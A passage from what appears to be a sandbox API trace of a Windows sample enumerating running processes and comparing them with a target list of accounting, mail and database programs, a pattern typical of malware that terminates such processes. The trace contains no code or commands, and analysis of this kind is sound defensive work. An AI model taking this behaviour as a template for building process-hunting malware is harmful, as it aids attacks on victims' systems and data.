hHeap=0x5c0000) returned 1 [0071.620] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x190 [0071.625] Process32FirstW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0071.626] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0071.627] lstrlenW (lpString="System") returned 6 [0071.627] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0071.627] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0071.627] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0071.627] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0071.627] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0071.628] lstrlenW (lpString="smss.exe") returned 8 [0071.628] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.629] lstrlenW (lpString="csrss.exe") returned 9 [0071.629] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0071.630] lstrlenW (lpString="wininit.exe") returned 11 [0071.630] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0071.631] lstrlenW (lpString="csrss.exe") returned 9 [0071.631] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0071.632] lstrlenW (lpString="winlogon.exe") returned 12 [0071.632] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0071.633] lstrlenW (lpString="services.exe") returned 12 [0071.633] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0071.634] lstrlenW (lpString="lsass.exe") returned 9 [0071.634] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0071.635] lstrlenW (lpString="lsm.exe") returned 7 [0071.635] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.636] lstrlenW (lpString="svchost.exe") returned 11 [0071.636] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.637] lstrlenW (lpString="svchost.exe") returned 11 [0071.637] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.638] lstrlenW (lpString="svchost.exe") returned 11 [0071.638] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0071.639] lstrlenW (lpString="svchost.exe") returned 11 [0071.639] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.071] lstrlenW (lpString="svchost.exe") returned 11 [0072.071] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0072.072] lstrlenW (lpString="audiodg.exe") returned 11 [0072.072] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.073] lstrlenW (lpString="svchost.exe") returned 11 [0072.073] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.073] lstrlenW (lpString="svchost.exe") returned 11 [0072.074] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0072.074] lstrlenW (lpString="dwm.exe") returned 7 [0072.074] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0072.075] lstrlenW (lpString="explorer.exe") returned 12 [0072.075] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0072.076] lstrlenW (lpString="spoolsv.exe") returned 11 [0072.076] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.077] lstrlenW (lpString="taskhost.exe") returned 12 [0072.077] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.078] lstrlenW (lpString="svchost.exe") returned 11 [0072.078] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0072.079] lstrlenW (lpString="taskeng.exe") returned 11 [0072.079] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0072.080] lstrlenW (lpString="taskhost.exe") returned 12 [0072.080] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.081] lstrlenW (lpString="svchost.exe") returned 11 [0072.081] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0072.081] lstrlenW (lpString="sppsvc.exe") returned 10 [0072.081] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0072.082] lstrlenW (lpString="svchost.exe") returned 11 [0072.082] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barrelsince.exe")) returned 1 [0072.083] lstrlenW (lpString="barrelsince.exe") returned 15 [0072.083] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cricket.exe")) returned 1 [0072.084] lstrlenW (lpString="cricket.exe") returned 11 [0072.084] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="angelsalot.exe")) returned 1 [0072.085] lstrlenW (lpString="angelsalot.exe") returned 14 [0072.085] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bridge.exe")) returned 1 [0072.086] lstrlenW (lpString="bridge.exe") returned 10 [0072.087] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="sh_shipping.exe")) returned 1 [0072.088] lstrlenW (lpString="sh_shipping.exe") returned 15 [0072.088] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x478, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tobacco packet.exe")) returned 1 [0072.089] lstrlenW (lpString="tobacco packet.exe") returned 18 [0072.089] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pubscrashsatisfactory.exe")) returned 1 [0072.090] lstrlenW (lpString="pubscrashsatisfactory.exe") returned 25 [0072.090] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="confidentiality-lookup-going.exe")) returned 1 [0072.091] lstrlenW (lpString="confidentiality-lookup-going.exe") returned 32 [0072.091] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="widespread.exe")) returned 1 [0072.092] lstrlenW (lpString="widespread.exe") returned 14 [0072.092] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="silk priority recreational.exe")) returned 1 [0072.093] lstrlenW (lpString="silk priority recreational.exe") returned 30 [0072.093] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="zinc.exe")) returned 1 [0072.093] lstrlenW (lpString="zinc.exe") returned 8 [0072.094] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mainstream-footwear.exe")) returned 1 [0072.094] lstrlenW (lpString="mainstream-footwear.exe") returned 23 [0072.094] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="construction_rice.exe")) returned 1 [0072.095] lstrlenW (lpString="construction_rice.exe") returned 21 [0072.095] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mask.exe")) returned 1 [0072.096] lstrlenW (lpString="mask.exe") returned 8 [0072.096] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x838, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="rome_bool_pioneer.exe")) returned 1 [0072.097] lstrlenW (lpString="rome_bool_pioneer.exe") returned 21 [0072.097] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="owen_der_sequence.exe")) returned 1 [0072.098] lstrlenW (lpString="owen_der_sequence.exe") returned 21 [0072.098] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x858, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="curve standing.exe")) returned 1 [0072.099] lstrlenW (lpString="curve standing.exe") returned 18 [0072.099] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0072.100] lstrlenW (lpString="3dftp.exe") returned 9 [0072.100] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0072.101] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0072.101] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x888, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0072.101] lstrlenW (lpString="alftp.exe") returned 9 [0072.102] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x898, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0072.102] lstrlenW (lpString="barca.exe") returned 9 [0072.103] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0072.665] lstrlenW (lpString="bitkinex.exe") returned 12 [0072.665] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0072.665] lstrlenW (lpString="coreftp.exe") returned 11 [0072.666] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0072.666] lstrlenW (lpString="far.exe") returned 7 [0072.667] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0072.667] lstrlenW (lpString="filezilla.exe") returned 13 [0072.667] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0072.668] lstrlenW (lpString="flashfxp.exe") returned 12 [0072.668] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0072.669] lstrlenW (lpString="fling.exe") returned 9 [0072.669] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0072.670] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0072.670] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x920, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0072.671] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0072.671] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0072.671] lstrlenW (lpString="icq.exe") returned 7 [0072.672] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0072.673] lstrlenW (lpString="leechftp.exe") returned 12 [0072.673] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x950, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0072.674] lstrlenW (lpString="ncftp.exe") returned 9 [0072.674] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x960, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0072.675] lstrlenW (lpString="notepad.exe") returned 11 [0072.675] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x970, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0072.676] lstrlenW (lpString="operamail.exe") returned 13 [0072.676] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0072.678] lstrlenW (lpString="pidgin.exe") returned 10 [0072.678] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0072.679] lstrlenW (lpString="scriptftp.exe") returned 13 [0072.679] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0072.680] lstrlenW (lpString="skype.exe") returned 9 [0072.680] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0072.682] lstrlenW (lpString="smartftp.exe") returned 12 [0072.682] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0072.683] lstrlenW (lpString="thunderbird.exe") returned 15 [0072.683] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0072.684] lstrlenW (lpString="totalcmd.exe") returned 12 [0072.684] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0072.685] lstrlenW (lpString="trillian.exe") returned 12 [0072.685] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0072.687] lstrlenW (lpString="webdrive.exe") returned 12 [0072.687] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0072.688] lstrlenW (lpString="whatsapp.exe") returned 12 [0072.688] Process32NextW (in: hSnapshot=0x190, lppe=0x211fd34 | out: lppe=0x211fd34*(dwSize=0x22c, cntUsage=0x0, 